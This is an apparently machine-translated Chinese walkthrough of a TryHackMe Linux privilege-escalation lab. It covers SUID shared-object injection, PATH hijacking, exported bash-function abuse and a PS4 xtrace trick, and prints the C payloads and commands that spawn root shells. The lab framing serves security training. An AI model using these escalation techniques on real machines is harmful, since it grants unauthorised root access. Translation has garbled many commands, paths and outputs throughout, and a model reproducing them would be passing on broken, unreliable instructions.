这次,我们将尝试“使用SUID/SGID可执行文件(不包括已知漏洞)来提升特权”。
目标机使用Tryhackme下面的房间。
“ tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc ”
本文是第7部分。
如果您想使用TryHackme查看Linux Privesc的写入,请还检查使用EXIM 4.84.3中的漏洞”检查“特权高程





准备
首先,启动目标机器。
如果您使用的是TryHackme,请选择“启动机器”。

如果显示IP地址如下所示,您可以启动它!

这次,在您能够连接到目标计算机之后,特权升级将发生,因此请检查可以通过SSH连接的点。
┌ - ─(hacklab㉿hacklab) - [〜]└─$ ssh user@10.10.52.40 user@10.10.10.52.40's密码:Linux Debian 2.6.32-5-AMD64#1 SMP TUE 5月13日16:34:34:35 UTC 2014 X86_64 X86_64 X86_64 X86_64 X86_64 X86_64 INDEBIAN GNU/Linu-linu-linu/linu/linu/linu/linu/linu/linu/linu/linU在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内,Debian GNU/Linux绝对没有保修。上次登录:Sun Apr 9 08:54:59 2023来自IP-10-18-110-90.EU-WEST-1.com.popute.internal用户@debian:〜$
访问权限后,预先准备就完成了。
SUID / SGID可执行文件 - 共享对象注入
尝试共享用于SUID可执行文件的对象注入。
首先,检查目标计算机上的所有SUID/SGID可执行文件。
user@debian:〜$ find / -type f -a \(-perm -u+s -o -perm -g+s \)-exec ls -l {} \; 2> /dev/null -rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry -rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh -rwsr-xr-x 2 root root 168136 2016年1月5日/usr/bin/sudo -rwxr-sr-x 1根TTY 11000 2010年6月17日/usr/bin/bsd/bsd-write -rwxr-sr-x 1 root crontab 35040 dec 18 2010/usr/usr/usr/bin/crontab-rwsr-rwsr-xr-xr-xr-xr-xr-xr-xr-xr-xr-xr-xr-x rwsr-xr-x root 32 2011/usr 321 2011/usr -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit -rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage -rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd -rwsr-xr-x 1根39856 2011年2月15日/usr/bin/bin/chfn -rwxr-sr-x 1根TTY TTY TTY 12000 2011年1月25日/usr/bin/bin/bin/bin/bin/rwsr-sr-x 1 root starts 9861 5月14日2017年5月14日2017/usr/usr/usr/bin/susr-s s r--sr-sr--sr-sr--88 3 3 3 3 3 33 2017年5月14日/usr/local/bin/suid-env -rwsr-sr-x 1根人员6899 2017年5月14日/usr/local/bin/bin/suid-env2 -rwsr-xr-xr-xr-x 1 root 963691 2017年5月13日2017年5月13日/usr/lib/弹出/dmcrypt-get-device -rwsr-xr-x 1根212128 APR 2 2014/usr/lib/lib/lib/openssh/ssh-keysign -rwsr-xr-xr-xr-xr-x 1 root 10592 root 10592 2016年2月15日 /bin/ping6 -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount -rwxr-sr-x 1 root Shadow 31864 2011年10月17日 /sbin /unix_chkpwd -rwsr-xr-x 1根94992 2014年12月13日 /sbin/mount.nfs
“/usr/local/bin/suid-so”很容易受到共享对象注入的影响。
不要错过。
接下来,尝试运行“/usr/local/bin/suid-so”。
在这种状态下,将出现一个进度栏。
user@debian:〜$/usr/local/bin/suid-so计算某些内容,请等待... [====>] 99%完成。
Next Run strace检查打开/访问和“无此类文件”错误。
用户@debian:〜$ strace/usr/local/bin/suid-so 2>&1 | grep -ie“打开|访问|无此类文件”访问(“/etc/suid -debug”,f_ok)= -1 enoent(no uke file或目录)访问(“/etc/etc/ld.so.nohwcap”,f_ok)= -1 enoent = -1 enoent(no eq of file or no eq/ef so orol offore)打开(“/etc/ld.so.cache”,o_rdonly)= 3访问(“/etc/ld.so.nohwcap”,f_ok),f_ok)= -1 enoent(no uke file or directory)open(“/lib/lib/libdl.so.2”或目录)打开(“/usr/lib/libstdc ++。 = -1 enoent(没有这样的文件或目录)打开(“/lib/lib/libgcc_so.1”,o_rdonly)= 3访问(“/etc/etc/ld.so.nohwcap”,f_ok)= -1 inoent(no oke file or the File or Directory)打开(“打开(“/home/user/.config/libcalc.so”,o_rdonly)= -1 enoent(没有这样的文件或目录)
在主目录中加载 /home/user/.config/libcalc.so
将生成bash的共享对象放在
此“ /home/user/.config/libcalc.so 生成bash的代码看起来像这样:
user@debian:〜$ mkdir/home/user/.config user@debian:〜$ cat/home/user/tools/suid/libcalc.c #include<stdio.h> #包括<stdlib.h>静态void Inject()__attribute __((构造函数)); void Inject(){setUid(0);系统(“/bin/bash -p”); }
让我们将代码编译到共享对象中。
用户@debian:〜$ gcc -shared -fpic -o/home/user/.config/libcalc.so/home/home/user/user/tools/suid/suid/libcalc.c user@debian:〜$ ll .config总计8 -rwxr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -xr -x r -xr -x r -xr-x user 6134 user 6134 apr 9 10:31 lib lib lib c。
如果您再次在此状态下运行“/usr/local/bin/suid-so”,则会看到带有根特权的bash,而不是进度栏。
user@debian:〜$/usr/local/bin/suid- so计算某些东西,请等待... bash-4.1#whoami root
SUID / SGID可执行文件 - 环境变量
同样,检查目标计算机上的SUID/SGID可执行文件。
下一个目标是“/usr/local/bin/suid-env”。
user@debian:〜$ find / -type f -a \(-perm -u+s -o -perm -g+s \)-exec ls -l {} \; 2> /dev/null -rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry -rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh -rwsr-xr-x 2 root root 168136 2016年1月5日/usr/bin/sudo -rwxr-sr-x 1根TTY 11000 2010年6月17日/usr/bin/bsd/bsd-write -rwxr-sr-x 1 root crontab 35040 dec 18 2010/usr/usr/usr/bin/crontab-rwsr-rwsr-xr-xr-xr-xr-xr-xr-xr-xr-xr-xr-xr-x rwsr-xr-x root 32 2011/usr 321 2011/usr -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit -rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage -rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd -rwsr-xr-x 1根39856 2011年2月15日/usr/bin/bin/chfn -rwxr-sr-x 1根TTY TTY TTY 12000 2011年1月25日/usr/bin/bin/bin/bin/bin/rwsr-sr-x 1 root starts 9861 5月14日2017年5月14日2017/usr/usr/usr/bin/susr-s s r--sr-sr--sr-sr--88 3 3 3 3 3 33 2017年5月14日/usr/local/bin/suid-env -rwsr-sr-x 1根人员6899 2017年5月14日/usr/local/bin/bin/suid-env2 -rwsr-xr-xr-xr-x 1 root 963691 2017年5月13日2017年5月13日/usr/lib/弹出/dmcrypt-get-device -rwsr-xr-x 1根212128 APR 2 2014/usr/lib/lib/lib/openssh/ssh-keysign -rwsr-xr-xr-xr-xr-x 1 root 10592 root 10592 2016年2月15日 /bin/ping6 -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount -rwxr-sr-x 1 root Shadow 31864 2011年10月17日 /sbin /unix_chkpwd -rwsr-xr-x 1根94992 2014年12月13日 /sbin/mount.nfs
首先,让我们诚实地尝试一下。
user@debian:〜$/usr/local/bin/suid-env [...]启动Web服务器:Apache2Httpd(PID 1773)已经在运行。好的
我尝试启动Apache2,但似乎已经开始。
接下来,让我们显示可以将其读取为字符串的SUID-ENV的内容。
字符串是可以实现此目标的命令。
user@debian:〜$ strings/usr/locar/bin/suid-env/lib64/ld-linux-x86-64.so.2 5q; xq __gmon_start__ libc.so.6 setResgid setResgid setResuid系统__libc_start_start_start_main glibc_2.2.5 fff。 fffff。 l $ l t $(l | $ 0H服务apache2开始
这里应该指出的是,“ Service Apache2启动”的服务尚未满载。
换句话说,如果添加路径并放置一个称为serivce的常见对象,则可以执行它。
首先,写下代码以创建一个公共对象。
user@debian:〜$ cat/home/user/tools/suid/service.c int main(){setuid(0);系统(“/bin/bash -p”); }
编译上述代码以创建一个称为服务的常见对象。
user@debian:~$ gcc -o service /home/user/tools/suid/service.c user@debian:~$ ll total 16 -rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn -rwxr-xr-x 1 user user 6697 Apr 9 10:39 service drwxr-xr-x 8 user user 4096 May 15 2020 tools
完成后,运行包含上述服务作为环境变量的目录。
user@debian:〜$ path =。:$ path/usr/locar/bin/suid-env root@debian:〜#whoami root
我认为您刚刚创建的常见对象已被执行,并且您获得了根特权。
SUID / SGID可执行文件 - 滥用外壳功能(#1)
检查目标计算机上的SUID/SGID可执行文件。
接下来,我们将针对“/usr/local/bin/suid-env2”。
首先,就像以前一样,检查字符串。
用户@debian:〜$ strings/usr/local/bin/suid-env2/lib64/ld-linux-x86-64.so.2 __gmon_start__ libc.so.so.s setResgid setResgid setResuid系统__libc_start_start_start_main glibc_2.2.5 fff。 fffff。 l $ l t $(l | $ 0H/usr/sbin/service apache2开始
与以前不同,这是一个绝对的通行证,因此似乎不可能使用与以前相同的方法。
但是,如果BASH版本为4.2-048或更早,则在文件路径中定义了shell函数名称并导出该函数的漏洞会导致shell函数具有与要执行的文件路径相同的名称而不是该文件路径中的实际可执行文件。
这次,我想使用它,所以让我们从查看Bash版本开始。
用户@debian:〜$ /bin /bash-version gnu bash,版本4.1.5(1)-Release(x86_64-pc-linux-gnu)版权所有(c)2009 Free Software Foundation,Inc。许可GPLV3+GNU GPLV3+:GNU GPL版本3或以后<http://gnu.org/licenses/gpl.html>这是免费软件;您可以自由更改并重新分配它。在法律允许的范围内,没有保证。
已确认它低于4.2-048。
现在,创建一个称为“/usr/sbin/service”的函数,该函数运行bash shell并导出该功能。
用户@debian:〜$ function/usr/sbin/service {/bin/bash -p; }用户@debian:〜$ export -f/usr/sbin/service
实现此目标后,运行“/usr/local/bin/suid-env2”。
用户@debian:〜$/usr/local/bin/suid-env2 root@debian:〜#whoami root
我也能够获得根特权。
SUID / SGID可执行文件 - 滥用外壳功能(#2)
如果BASH版本为4.4或更低,则使用PS4环境变量也可以提高根特权。
启用bash调试并运行可执行文件“/usr/local/bin/suid-env2”。
在 /tmp /rootbash中创建SUID版本的SUID版本,其中PS4变量设置为嵌入式命令。
用户@debian:〜$ envian shellOpts = xtrace ps4 ='$(cp/bin/bash/bash/tmp/rootbash; chmod +xs/tmp/rootbash)'/usr/usr/usr/local/bin/suid -env2/suid -env2/usr/sbin/sbin/service apache2开始basename/usr/usr/sbin/sbin/serecy ver ver ver ver ver ver。 0.91-ubuntu1'basename/usr/sbin/service用法='用法:服务<选项> | -Status-All | [service_name [命令| --full-restart ] ]' SERVICE= ACTION= SERVICEDIR=/etc/init.d OPTIONS= '[' 2 -eq 0 ']' cd / '[' 2 -gt 0 ']' case "${1}" in '[' -z '' -a 2 -eq 1 -a apache2 = --status-all ']' '[' 2 -eq 2 -a start = --full-restart ']' '[' -z '' ']'service = apache2 shift'['1 -gt 0']'case“ $ {1}” in'['-z apache2 -a 1 -eq 1 -a start = -status -status -all']''['1 -eq 2 -a''= -full -restart' '['-r /etc/init/apache2.conf']''['-x/etc/init.d/apache2']'exec enc- enc-iend lang =/usr/usr/locar/locar/sbin:/usr/local/bin:/usr/sbin:/usr/sbin:/服务器:Apache2HTTPD(PID 1773)已经在运行。
现在,我认为您已经创建了 /tmp /rootbash,所以让我们运行它。
用户@debian:〜$ /tmp /rootbash -p rootbash -4.1#whoami root
我现在有根特权!
概括
这次,我尝试了“使用SUID/SGID可执行文件的特权高程(不包括已知利用)”。
我再次意识到,我只应该将版本尽可能新。
参考和站点
- -